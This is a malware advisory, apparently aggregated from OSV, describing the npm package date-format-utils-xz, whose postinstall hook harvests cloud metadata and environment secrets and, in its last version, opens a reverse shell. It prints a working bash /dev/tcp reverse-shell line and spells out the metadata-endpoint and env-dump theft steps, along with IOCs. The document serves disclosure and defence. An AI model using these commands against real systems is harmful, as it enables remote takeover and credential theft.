Malicious code in date-format-utils-xz (npm)
The npm package date-format-utils-xz masquerades as a date-formatting utility but is malicious. Its own decoy index.js is prefaced with a Chinese comment translating to "disguised as a normal date formatting tool."
Every published version (1.0.0-1.0.4) declares a postinstall lifecycle hook (postinstall: node postinstall.js) that runs automatically on npm install, before the package is imported, and the payload escalated across releases.
Versions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with curl to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs env to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain zhijiujiu.cn (1.0.0, 1.0.1) to the hard-coded IP 8.135.48.40 port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.
Version 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.
Shortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry). Detected and classified independently by codelake Research from the live npm feed on 2026-07-21; not present in OSV or GHSA at the time of reporting (a first-catch). Versions 1.0.0-1.0.3 were archived by codelake before the unpublish; 1.0.4 was recovered from a public registry mirror that still cached it.
The package presents itself as a date-formatting utility but its postinstall.js runs automatically on npm install and performs credential/metadata theft. It shells out via execSync/curl to query cloud instance metadata endpoints for Alibaba Cloud (100.100.100.200), AWS (169.254.169.254), and Tencent (metadata.tencentyun.com), dumps the installer's entire process environment (env > /tmp/env.txt), and POSTs each payload to a hardcoded bare-IP server at http://8.135.48.40 (path /meta/env for the env dump). A GET fallback exfiltrates error details to the same host. index.js is a minimal date-utility stub and contains a comment ("disguised as a normal date formatting tool") acknowledging the cover, while the exfiltration logic lives entirely in the postinstall lifecycle script. On any cloud or CI host, this leaks whatever secrets are present in the environment (AWS_*, tokens, DB passwords, CI secrets) and any credentials retrievable from the instance metadata services.
MAL-2026-11001 is recorded against 1 package.
Published on 21 July 2026 and last revised on 4 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
Domains: zhijiujiu.cn
File hashes: sha256:249f72604801ea2bdf436464ec0b8256f198f33d5d1f1ff8b92d507cd6e30a0c sha256:b976e83c3b45962453580fa1c2b7f840f335cbede96832c089b1789bfeeb79c5 sha256:2adb1a22afb8fac18cf5ce68ebfd2fa1409faea7fef2807f3544cc9e6cd6a4b4 sha256:5d8278b7fa3ff1866f1361c7042c03ad0257e49d33072ed1698d2dd3864d1ec2 sha256:e7612d9538dfbd3e64b491f4c9c14387574e3a298a2d34dd453f75ca8f3a4ae2
IP addresses: 8.135.48.40
www.npmjs.com (Package)
www.npmjs.com (Package)
research.codelake.dev (Advisory)
www.npmjs.com (Package)
www.npmjs.com (Package)
www.npmjs.com (Package)
Details
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| date-format-utils-xz | — | — |
References
Free Vulnerability Check
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against MAL-2026-11001 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.